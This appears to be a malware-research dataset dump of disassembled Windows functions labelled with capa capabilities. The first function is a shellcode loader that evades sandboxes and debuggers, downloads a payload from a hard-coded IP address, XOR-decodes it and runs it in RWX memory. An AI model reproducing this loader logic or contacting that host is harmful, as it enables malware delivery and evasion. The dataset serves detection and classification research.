joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ef5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Set console window title

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
call fcn.0040c910
lea rcx, str.My_Program
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
call fcn.00401e6a
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.004018ee
test al, al
je 0x401f59
lea rcx, str.Sandbox_environment_detected._Aborting_execution_n
call fcn.00420970
mov ebx, 0xfffffffd
jmp 0x4020f0
call fcn.00401ad1
test al, al
jne 0x401f6b
call fcn.00401dec
test al, al
je 0x401f72
mov eax, 1
jmp 0x401f77
mov eax, 0
test al, al
je 0x401f91
lea rcx, str.Debugger_is_detected._Aborting_execution_n
call fcn.00420970
mov ebx, 0xfffffffc
jmp 0x4020f0
lea rax, str.http:__154.91.227.37_Client.bin
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call fcn.00401aed
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0042c5c0
test al, al
je 0x401fd2
lea rcx, str.Failed_to_download_shellcode._n
call fcn.00420970
mov ebx, 0xffffffff
jmp 0x4020e4
mov byte [rbp + 0x1f], 0xaa
mov dword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0x13
jg 0x40203c
movzx ebx, byte [rbp + 0x1f]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.0049edb0
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov r8d, ebx
mov rcx, rax
call fcn.00401d7e
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0049ef10
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0049eec0
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.0049eec0
add byte [rbp + 0x1f], 1
add dword [rbp + 0x18], 1
jmp 0x401fdd
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0042c560
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0049ec50
mov r8, rbx
mov rdx, rax
lea rcx, [0x004e3040]
call sub.msvcrt.dll_memcpy
lea rax, [rbp - 0x54]
mov r9, rax
mov r8d, 0x40
mov edx, 0x500000
lea rcx, [0x004e3040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x4020a7
lea rcx, str.Failed_to_modify_memory_protect_flags._n
call fcn.00420970
mov ebx, 0xfffffffe
jmp 0x4020e4
call fcn.00401e4b
lea rax, [0x004e3040]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
call rax
mov eax, dword [rbp - 0x54]
lea rdx, [rbp - 0x54]
mov r9, rdx
mov r8d, eax
mov edx, 0x500000
lea rcx, [0x004e3040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0049eec0
mov eax, ebx
jmp 0x40210e
add rsp, 0xa8
pop rbx
pop rbp
ret
Function at 0x40cd10
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00418e30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00418e30
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x40cd80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x009e3634]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x40cf28
mov rax, qword [0x009e3638]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40cdcc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40ce57
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x40cdb0
mov rcx, r12
call fcn.0040dae0
mov rbp, rax
test rax, rax
je 0x40cf62
mov rax, qword [0x009e3638]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.0040dc10
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x009e3638]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40cf71
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40ce50
sub eax, 4
and eax, 0xfffffffb
jne 0x40cee0
add dword [0x009e3634], 1
cmp ebx, 8
jae 0x40ce88
test bl, 4
jne 0x40cf30
test ebx, ebx
je 0x40ce79
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x40cf50
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40ce79
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40ceba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x009e3638]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40ce50
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040cd10
nop dword [rax]
xor edi, edi
jmp 0x40cdd7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x40ce79
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x40ce79
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0040cd10
mov rax, qword [0x009e3638]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.0040cd10
nop
nop dword [rax]
Function at 0x40d750
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x009e3920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x009e3900]
test rbx, rbx
je 0x40d7a4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40d79b
test r12, r12
je 0x40d79b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40d780
lea rcx, [0x009e3920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x40dae0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004bc670]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x40db59
mov rcx, r10
call fcn.0040d9b0
test eax, eax
je 0x40db59
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x40db56
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40db4d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x40db59
add r8, 0x28
cmp r8, r9
jne 0x40db38
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x40e4f0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov qword [rbp], r8
mov r15, rcx
movsxd rbx, edx
call sub.msvcrt.dll_strlen
mov rsi, rax
lea r13d, [rax + 0xf]
lea edi, [rax + 0x10]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040dd90
sub rsp, rax
movsxd r12, esi
mov rdx, r15
movsxd r13, r13d
mov r8, r12
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
movabs rax, 0x656d68732d636367
mov qword [rsp + 0x20], rax
mov eax, 0x326d
lea r15d, [rsi + 0x50]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r14 + r12 + 0x10]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r13 + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + r13 + 0x20], 0x2d
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40e5ea
int3
mov rcx, r14
add esi, 0x51
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
je 0x40e638
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.0040e480
mov r14, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r13, rax
mov eax, 0x40
nop dword [rax + rax]
bt r13, rax
jae 0x40e663
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x40e650
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
jne 0x40e677
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.0040e480
mov r14, rax
cmp r13, rax
je 0x40e69d
mov rcx, r13
call sub.msvcrt.dll_free
jmp 0x40e60f
xor edx, edx
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memset
cmp qword [rbp], 0
je 0x40e60f
mov rcx, r14
call qword [rbp]
jmp 0x40e60f

Function at 0x41b8e0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x009e4408]
test rbx, rbx
je 0x41b918
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x009e4408]
test rax, rax
je 0x41b940
cmp dword [rax], 0xffffffff
je 0x4b4aa0
add rsp, 0x20
pop rbx
ret
lea r8, [0x0041acf0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041f440
mov qword [0x009e4408], rax
mov rbx, rax
jmp 0x41b8f1
lea r8, [0x0041acf0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041f440
mov qword [0x009e4408], rax
jmp 0x41b905
call sub.msvcrt.dll_abort
nop
Function at 0x41bdf0
Capabilities:
Print debug messages

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, rcx
test rcx, rcx
je 0x41be15
call fcn.0041ac90
cmp eax, 1
je 0x41be22
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
ret
lea r12, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
mov rdi, r12
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x41bea8
mov eax, 0x28
jmp 0x41be7a
add rax, 1
cmp rax, 0x6b
je 0x41be9a
cmp byte [r12 + rax], 0
mov edx, eax
jne 0x41be70
cmp eax, 0x6a
je 0x41be9a
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
jmp 0x41be88
Function at 0x41beb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x009e4410]
test rcx, rcx
je 0x41c008
cmp dword [rcx], 1
je 0x41bed3
call fcn.0041bd70
mov rax, qword [0x009e4408]
test rax, rax
je 0x41c030
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x41bf00
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call fcn.0041b710
cmp qword [0x009e7050], 0
mov rbx, rax
je 0x41bef3
test rax, rax
je 0x41bef3
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.0041bdf0
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4b4aa6
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x009e4408]
test rax, rax
je 0x41c058
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4b4aa6
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.0041f440
mov qword [0x009e4410], rax
mov rcx, rax
jmp 0x41bec9
lea r8, [0x0041acf0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041f440
mov qword [0x009e4408], rax
jmp 0x41bee3
lea r8, [0x0041acf0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041f440
mov qword [0x009e4408], rax
jmp 0x41bfde
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x41f440
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rsi, r8
mov r12, rcx
movsxd rbx, edx
call sub.msvcrt.dll_strlen
mov r8, rax
lea eax, [rax + 0xf]
mov dword [rbp - 0x54], eax
lea eax, [r8 + 0x51]
lea edi, [r8 + 0x10]
cdqe
lea r15d, [r8 + 0x50]
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040dd90
movabs rcx, 0x656d68732d636367
sub rsp, rax
movsxd r13, r8d
mov rdx, r12
mov eax, 0x326d
mov r8, r13
mov qword [rsp + 0x20], rcx
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r14 + r13 + 0x10]
movsxd r12, dword [rbp - 0x54]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r12 + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + r12 + 0x20], 0x2d
mov edx, 0xffffffff
mov r13, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41f53e
int3
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
je 0x41f590
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, r15d
call fcn.0041f3d0
mov r14, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r12, rax
mov eax, 0x40
bt r12, rax
jae 0x41f5b3
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x41f5a0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
jne 0x41f5c7
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, r15d
call fcn.0041f3d0
mov r14, rax
cmp r12, rax
je 0x41f5ed
mov rcx, r12
call sub.msvcrt.dll_free
jmp 0x41f560
xor edx, edx
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memset
test rsi, rsi
je 0x41f560
mov rcx, r14
call rsi
jmp 0x41f560

Function at 0x421090
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x004b3fb0]
mov edx, 8
lea rcx, str.__terminate_handler_sh
jmp fcn.0040e4f0

Function at 0x4210b0
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x004b3fc0]
mov edx, 8
lea rcx, str.__unexpected_handler_sh
jmp fcn.0040e4f0
Function at 0x47c370
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x47c397
call rbp
cmp dword [rax], 4
jne 0x47c3b4
mov rcx, rdi
call fcn.0047c170
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x47c390
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14032f2a0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x10090
call fcn.14036ae50
sub rsp, rax
mov rax, qword [0x140391040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x80], ax
lea rbx, [rsp + 0x30]
mov word [rsp + 0x30], ax
mov edi, 0x28
mov dl, 0x4e
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14032f30d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14032f300
cmp rcx, 1
jb 0x14032f3ba
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14032f330
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14035e428
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14032f2f0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14032f3b6
lea rcx, [rsp + 0x80]
call fcn.14035fbfc
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14034f3b0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
xor eax, eax
jmp 0x14032f391
call fcn.140353990
int3

Function at 0x14032f3c0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140391040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14032f41d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14032f410
cmp rcx, 1
jb 0x14032f497
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14032f433
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14035e428
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14032f400
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14034f3b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140353990
int3
Function at 0x14034fd80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14034fdca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14034fdca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14034fdca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14034fdca
cmp dword [rcx + 0x84], 0xe
jbe 0x14034fdca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14034fdcc
xor al, al
add rsp, 0x28
ret

Function at 0x140353cf0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140353b5b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140353b5b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140353b5b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140353b5b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140353b5b
cmp dword [rcx + 0x84], 0xe
jbe 0x140353b5b
cmp dword [rcx + 0xf8], 0
je 0x140353b5b
mov ecx, ebx
call fcn.140353c0c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1403539e8
nop
cmp dword [rbp + 0x20], 0
je 0x140353ba9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140353bb4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140353aec
Function at 0x140364b8c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140364c13
mov rsi, rbx
cmp word [rax], bp
je 0x140364bd2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140364bbc
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140364bb8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1403621ac
mov rdi, rax
test rax, rax
je 0x140364c00
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14036b4b0
mov rbp, rdi
xor ecx, ecx
call fcn.14036057c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140368788
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14036879e
mov al, 1
jmp 0x1403687fe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1403687af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1403687fc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140365330
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1403687fc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1403687fc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1403687fc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1403687fe
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14036ad60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14036ad88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14036ad88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret